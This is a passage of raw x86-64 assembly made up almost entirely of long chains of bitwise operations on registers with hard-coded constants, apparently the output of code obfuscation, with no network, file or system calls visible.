and ebp, 0x6960553b
mov ecx, eax
and ecx, 0x969faac4
or ecx, ebp
xor ecx, 0x969faac4
mov esi, ebx
xor esi, 0x3714d7a0
mov ebp, ecx
and ebp, esi
xor ecx, esi
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x73ea7c
and ecx, 0xff8c1583
or ecx, ebp
mov r8d, ecx
xor r8d, 0xff8c1583
xor ecx, 0x73ea7c
mov ebp, r9d
and ebp, 0xc0206112
and eax, 0x14890828
or eax, ebp
mov ebp, eax
xor ebp, 0x10080028
xor eax, 0xe9308542
or r9d, 0xd4a9693a
mov edx, r9d
not edx
xor ebx, 0x1c424165
and ebx, esi
or esi, 0xd4a9693a
mov edi, esi
not edi
and eax, 0xedb18d42
and ebp, 0x10086038
or ebp, eax
and r9d, 0xedb18d42
and edx, 0x2461285
or edx, r9d
xor edx, ebp
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0xbe07e3be
and ebx, 0x41f81c41
or ebx, eax
or ebp, esi
and esi, 0xbe07e3be
and edi, 0x1501441
or edi, esi
xor edi, ebx
not ebp
or ebp, edi
mov eax, edx
not eax
and eax, 0xe2862b13
and edx, 0x1d79d4ec
or edx, eax
mov eax, ebp
not eax
and eax, 0xe2862b13
and ebp, 0x1d79d4ec
or ebp, eax
xor ebp, edx
mov r9d, ebp
not r9d
mov eax, r8d
or eax, 0x4eeee78a
mov edx, eax
not edx
mov r11d, ecx
or r11d, 0xb1111875
mov edi, r11d
not edi
mov ebx, ebp
xor ebx, 0xb1111875
and ebx, r9d
mov r14d, r9d
or r14d, 0xb1111875
mov esi, r14d
not esi
and eax, 0x69fda10c
and edx, 0x90001871
or edx, eax
and r11d, 0x69fda10c
and edi, 0x6024682
or edi, r11d
xor edi, edx
mov edx, ebx
not edx
mov eax, edx
and eax, 0x320c154f
and ebx, 0xcdf3eab0
or ebx, eax
or edx, r14d
and r14d, 0x320c154f
and esi, 0x4ce2e280
or esi, r14d
xor esi, ebx
not edx
or edx, esi
mov eax, edi
not eax
and eax, edx
not edx
and edx, edi
or edx, eax
mov eax, r8d
and eax, 0xd728b87
and ecx, 0xf28d7478
or ecx, eax
or r8d, ebp
and ebp, 0xd728b87
and r9d, 0xf28d7478
or r9d, ebp
xor r9d, ecx
not r8d
or r8d, r9d
mov eax, r8d
not eax
and eax, 0x33214b76
and r8d, 0xccdeb489
or r8d, eax
mov eax, r8d
xor eax, 0x80989489
xor r8d, 0x33214b76
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x4d676232
and edx, 0xb2989dcd
or edx, ecx
or ebp, r8d
and r8d, 0x4d676232
and eax, 0xb2989dcd
or eax, r8d
xor eax, edx
not ebp
or ebp, eax
mov ecx, ebp
mov r14d, ebp
mov r11d, ebp
xor r11d, 0x7d028e5f
and r11d, ebp
not ebp
and ebp, 0xc8f28d9d
and ecx, 0x370d7262
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xf6a5d2c3
and ecx, 0x95a2d3c
or ecx, edx
mov edx, ecx
xor edx, 0x80a8a000
xor ecx, 0x32151a08
and ecx, 0x73151aa9
and edx, 0x8ceae556
or edx, ecx
mov ebp, edx
xor ebp, 0x8c02a550
xor edx, 0x72041809
and edx, 0x72ec580f
and ebp, 0x8d13a7f0
or ebp, edx
mov ecx, ebp
xor ecx, 0x32e04802
xor ebp, 0x8011a2e0
and ebp, 0xc01db2ed
and ecx, 0x3fe24d12
or ecx, ebp
mov edx, ecx
xor edx, 0x3fe24d12
mov ebp, ecx
xor ebp, 0xc0182245
and ebp, 0xddfa2645
xor ecx, 0xafa12313
and ecx, edx
and edx, 0x2205d9ba
or edx, ebp
mov ebp, edx
xor ebp, 0x2205d9ba
xor edx, 0xddfa2645
or edx, ebp
and ebp, 0x90436e01
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x39c9e0f4
and ecx, 0xc6361f0b
or ecx, ebp
mov ebp, ecx
xor ebp, 0xa98a8860
mov edi, edx
not edi
xor ecx, 0x5675710a
mov esi, ecx
and esi, 0x44015795
and ebp, 0xbbfea86a
or ebp, esi
or ecx, edx
and edx, 0x44015795
and edi, 0xbbfea86a
or edi, edx
xor edi, ebp
not ecx
or ecx, edi
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x6fab8b9c
and edx, ecx
and ecx, 0x90547463
or ecx, ebp
mov ebp, ecx
xor ebp, 0x107023
xor ecx, 0x6fab8b9c
mov edi, edx
not edi
mov esi, ecx
and esi, 0xb34e8444
and ebp, 0x4cb17bbb
or ebp, esi
or ecx, edi
and edi, 0xb34e8444
and edx, 0x4cb17bbb
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xf5261302
and ecx, 0xad9ecfd
and edx, 0xf5261302
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0xb5067789
and ebp, 0x4af98876
or ebp, esi
or edx, edi
and edi, 0xb5067789
and ecx, 0x4af98876
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc055b226
and edx, 0x3faa4dd9
or edx, ecx
mov r15d, edx
xor r15d, 0x17804981
xor edx, 0x413026
and edx, 0x286b347e
and r15d, 0xd794cb81
or r15d, edx
mov r8d, r15d
xor r8d, 0x286b347e
mov r9d, r15d
xor r9d, 0xd794cb81
or r14d, 0x82fd71a0
mov edx, r14d
not edx
mov eax, r11d
not eax
mov esi, r14d
and esi, 0x6f88ccf2
and edx, 0x1002020d
or edx, esi
or r14d, eax
and eax, 0x6f88ccf2
and r11d, 0x9077330d
or r11d, eax
xor r11d, edx
not r14d
or r14d, r11d
mov eax, r14d
not eax
and eax, 0x82fd71a0
and r14d, 0x7d028e5f
or r14d, eax
mov edi, r14d
not edi
mov ebx, r14d
xor ebx, 0xad5160b
and ebx, edi
mov edx, edi
or edx, 0xad5160b
mov ebp, edx
not ebp
mov eax, ebx
not eax
mov esi, eax
and esi, 0x5f671a71
and ebx, 0xa098e58e
or ebx, esi
or eax, edx
and edx, 0x5f671a71
and ebp, 0xa008e184
or ebp, edx
xor ebp, ebx
not eax
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0xf51d6438
and eax, 0xae29bc7
or eax, ebp
mov ebp, eax
xor ebp, 0xf40192c4
and r14d, 0x62c7bf36
mov edx, edi
and edx, 0x9d3840c9
or edx, r14d
xor edx, 0x97e1ac34
and edi, 0xf5261302
or edi, edx
mov edx, edi
not edx
xor eax, 0xaee6131
mov ebx, eax
and ebx, 0xb500d3a
and ebp, 0xf4aff2c5
or ebp, ebx
or eax, edi
and edi, 0xb500d3a
and edx, 0xf4aff2c5
or edx, edi
xor edx, ebp
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0xb565c793
and eax, 0x4a9a386c
or eax, edx
mov edx, eax
not edx
and edx, 0xe82175a8
and eax, 0x17de8a57
or eax, edx
mov ebp, eax
xor ebp, 0xa2bb4dc4
mov r11d, eax
xor r11d, 0x5d44b23b
mov esi, r11d
and esi, 0xd7a0a641
mov edx, ebp
xor eax, 0xa450b6bf
and eax, ebp
and ebp, 0x285f59be
or ebp, esi
mov ebx, ebp
xor ebx, 0x20110836
xor ebp, 0xd7a0a641
mov esi, r9d
mov edi, r9d
xor r15d, 0xd17f30fa
and r15d, r9d
and r9d, 0x4dcef188
mov ecx, r8d
and ecx, 0xb2310e77
or ecx, r9d
or esi, ebp
and ebp, 0x4dcef188
and ebx, 0xb2310e77
or ebx, ebp
xor ebx, ecx
not esi
or esi, ebx
mov ecx, esi
not ecx
and ecx, 0xf272ff7e
and esi, 0xd8d0081
or esi, ecx
mov r9d, esi
xor r9d, 0xd080081
xor esi, 0xf272ff7e
and r8d, 0xe8124594
and edi, 0x17edba6b
or edi, r8d
mov ecx, edi
xor ecx, 0x104a
xor edi, 0x24110
and r11d, 0x248d050
and edx, 0x4a32b2b
or edx, r11d
xor edx, 0x4a32b2b
or edi, 0xf9140484
mov ebx, r15d
not ebx
mov ebp, edi
and ebp, 0xbee9efb5
and ecx, 0x2104a
or ecx, ebp
or edi, ebx
and ebx, 0xbee9efb5
and r15d, 0x4116104a
or r15d, ebx
xor r15d, ecx
not edi
or edi, r15d
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, edi
not ecx
and ecx, eax
not eax
and eax, edi
or eax, ecx
mov edx, eax
not edx
mov ebx, eax
xor ebx, 0x4295e44e
and ebx, edx
mov ebp, esi
and ebp, edx
xor edx, esi
and esi, 0x4295e44e
and r9d, 0xbd6a1bb1
or r9d, esi
and eax, 0xbd6a1bb1
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, r9d
not ecx
and ecx, 0x2a6fdf2e
and r9d, 0xd59020d1
or r9d, ecx
mov ecx, eax
not ecx
and ecx, 0x2a6fdf2e
and eax, 0xd59020d1
or eax, ecx
xor eax, r9d
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x3f6b1132
and edx, 0xc094eecd
or edx, ecx
xor edx, 0xc094eecd
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x6730bae
mov ecx, edx
and ecx, 0xf98cf451
or ecx, eax
mov eax, ecx
xor eax, 0x88d411
xor ecx, 0x4730984
and ecx, 0xfd7729c4
and eax, 0x288d63b
or eax, ecx
mov edi, eax
xor edi, 0x888203
xor eax, 0xc4730900
and eax, 0xc6735d38
and edi, 0x398ca2c7
or edi, eax
mov eax, edi
xor eax, 0x33554e3a
xor edi, 0x398ca2c7
and edi, eax
and ebp, 0x9c8d2c2a
and edx, 0x6372d3d5
or edx, ebp
mov eax, edx
xor eax, 0x61221300
and eax, 0xf5261302
xor edx, 0x9654c0d7
or edx, eax
mov eax, edx
not eax
and eax, 0x4ee200ef
and edx, 0xb11dff10
or edx, eax
mov ebx, edx
xor ebx, 0xb11dff10
mov r8d, edi
not r8d
mov eax, edx
xor eax, 0xce000c2
and eax, 0x1dec6ad2
xor edx, 0xf9d49ea0
and edx, ebx
and ebx, 0xe213952d
or ebx, eax
mov r9d, ebx
xor r9d, 0xa0031124
mov esi, edi
xor esi, 0x48c961b0
and esi, r8d
mov eax, edi
and eax, 0xb7369e4f
xor ebx, 0x1dec6ad2
mov ebp, ebx
or ebp, 0xb7369e4f
mov ecx, ebp
not ecx
mov r11d, esi
and r11d, eax
xor eax, esi
or eax, r11d
mov esi, edx
not esi
mov r11d, ebp
and r11d, 0x1fd6edff
and ecx, 0x40090000
or ecx, r11d
or ebp, esi
and esi, 0x1fd6edff
and edx, 0xe0291200
or edx, esi
xor edx, ecx
not ebp
or ebp, edx
mov ecx, eax
not ecx
and ecx, 0x12cff04e
and eax, 0xed300fb1
or eax, ecx
mov ecx, ebp
not ecx
and ecx, 0x12cff04e
and ebp, 0xed300fb1
or ebp, ecx
xor ebp, eax
mov eax, edi
and eax, 0x469c8e89
and r8d, 0xb9637176
or r8d, eax
or edi, ebx
and ebx, 0x469c8e89
and r9d, 0xb9637176
or r9d, ebx
xor r9d, r8d
not edi
or edi, r9d
not edi
mov eax, ebp
and eax, edi
xor edi, ebp
or edi, eax
mov ebp, edi
not ebp
mov edx, edi
mov eax, edi
mov ecx, ebp
and ecx, 0x11ea1304
and edi, 0xee15ecfb
or edi, ecx
not edi
or edi, ebp
and ebp, 0x35029033
and edx, 0x40294180
or edx, ebp
xor edx, 0x40294180
and eax, 0x8ad42e4c
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x8ad42e4c
and eax, 0x752bd1b3
or eax, ecx
mov edx, eax
not edx
and eax, 0xb8a6db8e
and edx, 0x47592471
or edx, eax
mov eax, edx
xor eax, 0xa94cc88a
xor edx, 0x47592471
and edx, eax
mov r8d, edi
not r8d
mov ecx, edx
mov eax, edx
xor eax, 0x96e3bb9c
and eax, edx
not edx
and edx, 0x7d00e8e5
and ecx, 0x82ff171a
or ecx, edx
mov r9d, ecx
xor r9d, 0x82ff171a
xor ecx, 0x7d00e8e5
mov r11d, r9d
and r11d, 0x96e3bb9c
mov ebp, r8d
or ebp, 0x691c4463
mov esi, ebp
not esi
mov edx, edi
or edx, 0x96e3bb9c
mov ebx, edx
not ebx
mov r14d, r11d
and r14d, eax
xor eax, r11d
or eax, r14d
and ebp, 0x5fafe3a0
and esi, 0x8040181c
or esi, ebp
and edx, 0x5fafe3a0
and ebx, 0x20100443
or ebx, edx
xor ebx, esi
mov ebp, eax
not ebp
and ebp, ebx
not ebx
and ebx, eax
or ebx, ebp
mov eax, ecx
and eax, 0x58804e94
and r9d, 0xa77fb16b
or r9d, eax
or ecx, r8d
and r8d, 0x58804e94
and edi, 0xa77fb16b
or edi, r8d
xor edi, r9d
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x3dbeaba9
and ecx, 0xc2415456
or ecx, eax
mov eax, ecx
xor eax, 0x2404044
mov edx, ebx
not edx
xor ecx, 0x3dbeaba9
mov ebp, edx
and ebp, 0xdda99593
and ebx, 0x22566a6c
or ebx, ebp
or edx, ecx
and ecx, 0xdda99593
and eax, 0x22566a6c
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov ecx, edx
xor ecx, 0xee15ecfb
and ecx, edx
mov eax, edx
or eax, 0x11ea1304
mov edx, eax
not edx
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x2f784311
and edx, 0xc005acea
or edx, ebx
or eax, ebp
and ebp, 0x2f784311
and ecx, 0xd087bcee
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ebp, eax
not ebp
mov edx, eax
and edx, 0xb0dce3d
mov ecx, ebp
and ecx, 0xf4f231c2
or ecx, edx
xor ecx, 0xf4f231c2
or ecx, ebp
and ebp, 0x784e7fb0
and eax, 0x87b1804f
or eax, ebp
mov edx, eax
xor edx, 0x784e7fb0
and edx, ecx
not ecx
xor eax, 0x87b1804f
mov ebp, ecx
xor ebp, eax
and ebp, ecx
and eax, ecx
or eax, edx
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x4d1c6fd3
mov ebp, eax
and ebp, 0xb2e3902c
or ebp, edx
xor ebp, 0xb2e3902c
mov edx, ecx
and edx, eax
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x80a28635
and edx, 0x7f5d79ca
or edx, ebp
mov ebp, edx
xor ebp, 0x3c142948
xor edx, 0x205
and edx, 0x43495287
and ebp, 0xbcb6ad78
or ebp, edx
mov edx, ebp
xor edx, 0x3aa7b5a8
xor ebp, 0xbcb6ad78
and ebp, edx
and ecx, 0x79eee72f
xor eax, 0x861118d0
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x72867395
and eax, 0x8d798c6a
or eax, ecx
mov ecx, eax
xor ecx, 0x8d798c6a
mov edx, ebp
not edx
xor eax, 0x72867395
and ecx, edx
or edx, eax
not edx
and eax, ebp
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xe0ad2948
and ecx, eax
not eax
and eax, 0xe0ad2948
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x66bc3198
and ecx, 0x9943ce67
or ecx, eax
mov edi, ecx
not edi
mov ebp, ecx
or ebp, 0x13a996df
mov ebx, ebp
not ebx
mov eax, edi
or eax, 0xec566920
mov edx, eax
not edx
and ebp, 0x7d3e52b4
and ebx, 0x80402900
or ebx, ebp
and eax, 0x7d3e52b4
and edx, 0x281844b
or edx, eax
xor edx, ebx
mov eax, edx
not eax
and eax, 0x9c0d184a
and edx, 0x63f2e7b5
or edx, eax
mov eax, edx
xor eax, 0x705b716a
xor edx, 0x8fa48e95
and edi, edx
and eax, ecx
or eax, edi
not eax
or eax, edx
cmp eax, 0xffffffff
setne r9b
mov byte [rsp + 0x38], r9b
sete r11b
cmp r10d, 9
setg sil
cmp r10d, 0xa
setl r8b
mov eax, r8d
xor al, sil
mov edx, eax
xor dl, 1
mov ebx, eax
xor bl, dl
mov ecx, edx
mov r14d, edx
or cl, al
mov r15d, eax
mov byte [rsp + 0x33], al
xor cl, 1
or cl, bl
mov edi, ecx
xor dil, 1
mov ebx, ecx
and bl, dil
mov ebp, ebx
xor bpl, 1
mov edx, edi
xor dl, bpl
or bpl, dil
xor bpl, 1
or bpl, dl
mov edx, ebp
xor dl, 1
or bpl, dl
mov eax, edx
xor al, bpl
or bpl, dl
xor bpl, 1
or bpl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r10d, ebp
xor r10b, 1
xor bl, 1
xor dil, bl
xor dil, 1
or dil, bl
xor dil, r10b
mov eax, r8d
xor al, r14b
mov ecx, r8d
or cl, r14b
mov byte [rsp + 0x44], r14b
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, r15d
or al, r8b
xor al, 1
mov edx, esi
or dl, r14b
xor dl, 1
mov r14d, eax
and r14b, dl
xor dl, al
or dl, r14b
mov eax, edx
xor al, 1
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
xor cl, al
xor bl, 1
xor cl, 1
or bl, al
xor bl, 1
or bl, cl
mov r12d, edi
xor r12b, 1
mov edx, r12d
xor dl, r10b
and dl, r12b
mov r14d, edx
xor r14b, 1
mov ecx, r14d
and cl, dl
xor cl, 1
mov r15d, edx
xor r15b, cl
or cl, dl
xor cl, 1
or cl, r15b
mov eax, ecx
xor al, 1
and al, r12b
and cl, dil
or cl, al
xor r14b, r12b
or dl, dil
xor dl, 1
or dl, r14b
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov edi, eax
and dil, dl
xor dl, al
or dl, dil
or al, bl
mov edi, eax
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
xor dl, 1
xor dil, 1
and dil, dl
xor cl, 1
or al, dil
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edi, eax
xor dil, cl
and cl, dil
and dil, al
xor cl, 1
xor dil, 1
mov eax, ecx
xor al, dil
or dil, cl
xor dil, 1
or dil, al
mov eax, r10d
xor al, bpl
and al, r10b
mov ecx, eax
xor cl, 1
and cl, al
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
mov byte [rsp + 0x54], r8b
and al, r8b
xor cl, 1
and cl, sil
or cl, al
and r10b, r8b
mov ebx, esi
and bl, bpl
or bl, r10b
mov eax, r8d
and al, bpl
xor bpl, r8b
or bpl, al
xor bl, 1
mov eax, ebx
xor al, bpl
or bl, bpl
xor bl, 1
or bl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor dl, 1
mov r10d, ecx
xor r10b, dl
or dl, cl
xor dl, 1
or dl, r10b
mov ecx, edx
xor cl, 1
and cl, bl
mov r10d, eax
and r10b, bl
xor al, bl
xor bl, 1
and dl, bl
or dl, cl
or al, r10b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov edx, ecx
xor dl, 1
xor cl, al
or dl, bl
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, edi
or cl, dl
xor cl, 1
xor dl, dil
or cl, dl
xor cl, 1
xor dl, cl
mov r12d, edx
xor r12b, 1
and r12b, cl
mov ecx, r12d
and cl, dl
xor r12b, dl
or r12b, cl
mov edi, r12d
xor dil, 1
or r12b, dil
mov ecx, edi
xor cl, r12b
mov ebx, ecx
xor bl, 1
and cl, dil
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov r14d, edx
xor r14b, 1
or r14b, dl
mov r10d, r14d
xor r10b, 1
xor r12b, 1
or r12b, dil
mov r8d, r12d
xor r8b, 1
mov edi, r14d
xor dil, r10b
and dil, r14b
mov r13d, r8d
or r13b, r12b
mov r15d, r12d
and r15b, r8b
mov ebp, r15d
and bpl, r12b
xor r15b, r12b
and r12b, r10b
or r10b, r14b
mov ecx, r10d
xor cl, 1
mov ebx, edi
xor bl, 1
and cl, bl
or bl, r10b
xor bl, 1
and r10b, dil
or r10b, cl
mov ecx, ebx
and cl, r10b
xor r10b, bl
or r10b, cl
or r15b, bpl
xor r15b, r13b
mov ecx, r8d
and cl, r13b
xor r13b, r8b
or r13b, cl
mov ecx, r15d
xor cl, r13b
or r13b, r15b
xor r13b, 1
or r13b, cl
mov ecx, r10d
xor cl, 1
mov ebx, r13d
xor bl, 1
mov eax, r13d
and al, bl
mov edx, eax
xor dl, 1
xor al, r13b
or dl, bl
xor dl, 1
or dl, al
and cl, dl
xor dl, 1
and dl, r10b
or dl, cl
mov eax, r14d
xor al, r8b
and al, r14b
and r8b, r14b
or r8b, r12b
mov ecx, eax
xor cl, 1
xor al, r8b
xor r8b, 1
or r8b, cl
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
mov ecx, edx
xor cl, 1
and al, cl
or cl, r8b
and r8b, dl
or r8b, al
mov eax, ecx
xor al, r8b
xor r8b, 1
xor al, 1
or r8b, cl
xor r8b, 1
or r8b, al
mov byte [rsp + 0x34], r8b
mov edi, r11d
xor dil, r9b
mov r15d, edi
xor r15b, 1
mov eax, r15d
or al, dil
mov ecx, eax
not cl
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov r12d, ecx
xor r12b, 1
mov ebx, ecx
and bl, r12b
mov edx, ebx
xor dl, 1
mov eax, r12d
or al, cl
xor cl, bl
or dl, r12b
xor dl, 1
or dl, cl
xor dl, 1
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov ebp, ecx
and bpl, al
xor cl, bpl
xor bpl, 1
or bpl, al
xor bpl, 1
or bpl, cl
mov r8d, ebp
xor r8b, 1
mov r10d, ebp
or r10b, r8b
mov r13d, r10d
xor r13b, bpl
mov r14d, r13d
and r14b, r10b
mov eax, r12d
and al, bl
xor bl, r12b
or bl, al
mov ecx, ebx
xor cl, 1
and cl, bl
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
xor cl, 1
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
mov eax, edi
and al, r15b
mov ebx, edi
and bl, al
xor al, dil
or al, bl
xor al, r11b
or r15b, r11b
mov ebx, r11d
mov r9d, r11d
xor bl, dil
xor bl, 1
xor r15b, 1
or r15b, bl
mov r12d, eax
xor r12b, r15b
or r15b, al
mov ebx, ecx
xor bl, 1
xor r15b, 1
or r15b, r12b
mov eax, r14d
or al, bl
xor al, 1
xor bl, r14b
or al, bl
or cl, r14b
xor cl, 1
and bl, r14b
mov r14d, ecx
and r14b, bl
xor bl, cl
or bl, r14b
xor bl, 1
mov ecx, eax
or cl, bl
xor bl, al
mov eax, ecx
xor al, bl
xor bl, 1
xor al, 1
or bl, cl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, 1
mov eax, ebx
and al, cl
or cl, bl
mov r14d, eax
and r14b, bl
xor al, bl
or al, r14b
mov r14d, eax
and r14b, cl
xor cl, 1
xor al, 1
and al, cl
or al, r14b
mov r14d, ecx
xor r14b, bl
or cl, bl
mov ebx, edi
and bl, r11b
xor cl, 1
or cl, r14b
xor cl, 1
mov r14d, eax
and r14b, cl
xor cl, al
or cl, r14b
xor cl, 1
mov r12d, r15d
xor r12b, cl
or cl, r15b
xor cl, 1
xor r12b, 1
and r12b, r15b
mov eax, ecx
and al, r12b
xor r12b, cl
or r12b, al
mov ecx, ebx
xor cl, 1
mov eax, ebx
and al, cl
mov r14d, eax
and r14b, bl
xor al, bl
or al, r14b
or cl, bl
mov r11d, eax
xor r11b, cl
xor al, 1
or al, cl
mov ebx, edi
movzx edx, byte [rsp + 0x38]
xor bl, dl
and bl, dil
mov edi, ebx
xor dil, 1
mov ecx, ebx
and cl, dil
mov r14d, ecx
and r14b, bl
xor cl, bl
or cl, r14b
or bl, dil
mov r14d, ebx
xor r14b, 1
mov r15d, ecx
xor cl, 1
and cl, r14b
and r15b, bl
or cl, r15b
mov r14d, ebx
and r14b, dil
xor bl, dil
or bl, r14b
xor cl, 1
mov edi, ecx
xor dil, bl
or cl, bl
xor cl, 1
or cl, dil
mov ebx, ecx
xor bl, 1
mov edi, ecx
and dil, bl
mov r14d, ecx
and r14b, dil
xor dil, cl
or dil, r14b
or r10b, bpl
and bpl, r9b
xor dil, 1
or bl, cl
xor bl, 1
mov ecx, edi
and cl, bl
xor bl, dil
or bl, cl
mov r15d, ebx
xor r15b, 1
and r15b, bl
xor r15b, 1
mov ecx, ebx
xor cl, r15b
or r15b, bl
xor r15b, 1
or r15b, cl
mov r14d, r15d
xor r14b, 1
mov byte [rsp + 0x50], r14b
xor r14b, r9b
xor r11b, 1
xor al, 1
or al, r11b
xor r13b, 1
mov ecx, r10d
xor cl, r13b
or r13b, r10b
xor r13b, 1
or r13b, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor bl, cl
xor cl, 1
or cl, al
mov eax, r13d
xor al, 1
and r13b, al
xor cl, 1
or cl, bl
mov ebx, eax
and bl, r13b
xor r13b, al
mov eax, r15d
and al, r9b
mov byte [rsp + 0x58], al
or r13b, bl
mov ebx, edx
mov eax, edx
xor al, r15b
mov byte [rsp + 0x32], al
xor r15b, r9b
xor r13b, cl
or r9b, r8b
and r8b, dl
or r8b, bpl
xor r8b, 1
mov eax, r9d
xor al, r8b
or r8b, r9b
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
mov ecx, r13d
xor cl, 1
and al, cl
or cl, r8b
xor cl, 1
and r8b, r13b
or r8b, al
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov eax, r8d
xor al, 1
or al, r8b
mov ecx, r8d
or cl, al
xor cl, 1
xor al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov r10d, r12d
xor r10b, 1
mov ecx, r10d
and cl, r12b
mov r9d, r10d
xor r9b, cl
xor cl, 1
or cl, r12b
xor cl, 1
or cl, r9b
mov r13d, eax
and r13b, dl
mov r9d, eax
xor r9b, r13b
xor r13b, 1
or r13b, dl
xor r13b, 1
or r13b, r9b
or r10b, r12b
mov r9d, ecx
xor r9b, 1
or al, dl
mov edx, ecx
xor dl, r9b
and dl, cl
mov ebp, edx
xor bpl, r10b
xor dl, 1
or dl, r10b
mov r10d, edx
xor r10b, bpl
or dl, bpl
xor dl, 1
or dl, r10b
mov r12d, r13d
xor r12b, 1
mov r10d, r12d
and r10b, r13b
mov ebp, r12d
and bpl, r10b
mov ebx, r12d
xor bl, r10b
or bl, bpl
mov ebp, eax
xor bpl, 1
mov r8d, ebx
and bl, bpl
xor r8b, 1
and r8b, al
or bl, r8b
mov r8d, r12d
and r8b, al
xor al, r12b
or al, r8b
mov r8d, ebx
xor r8b, al
xor bl, 1
or bl, al
xor r8b, 1
xor bl, 1
or bl, r8b
xor dl, 1
mov eax, ebx
xor al, dl
xor al, 1
and al, bl
or dl, bl
mov ebx, eax
xor bl, dl
xor al, 1
or al, dl
xor bl, 1
xor al, 1
or al, bl
mov edx, ecx
and dl, r9b
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, r10d
and cl, r13b
xor r10b, r13b
or r10b, cl
xor r10b, dl
mov edx, r10d
xor dl, 1
mov ecx, r9d
and cl, r12b
xor r12b, r9b
or r12b, cl
xor r10b, r12b
xor r10b, 1
or r12b, dl
xor r12b, 1
or r12b, r10b
mov edx, eax
xor dl, r12b
xor al, 1
mov ecx, eax
and cl, r12b
xor al, r12b
or al, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov r13d, eax
movzx eax, byte [rsp + 0x34]
mov ecx, eax
xor cl, 1
mov r10d, ecx
and r10b, al
mov edx, r10d
xor dl, 1
mov r9d, ecx
mov ebp, ecx
xor r9b, r10b
or dl, al
mov ecx, eax
xor dl, 1
or dl, r9b
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
xor bl, 1
mov r8d, ebx
xor r8b, al
or bl, al
xor bl, 1
or bl, r8b
mov r12d, ebp
mov r8d, ebp
or r12b, cl
mov byte [rsp + 0x5c], r12b
mov edi, r12d
xor dil, 1
mov ecx, edi
and cl, r12b
mov ebp, ecx
and bpl, dil
xor cl, dil
or cl, bpl
mov ebp, ebx
xor bpl, 1
and bpl, cl
xor cl, 1
and cl, bl
or cl, bpl
xor al, r12b
or dl, dil
xor dl, 1
or dl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, al
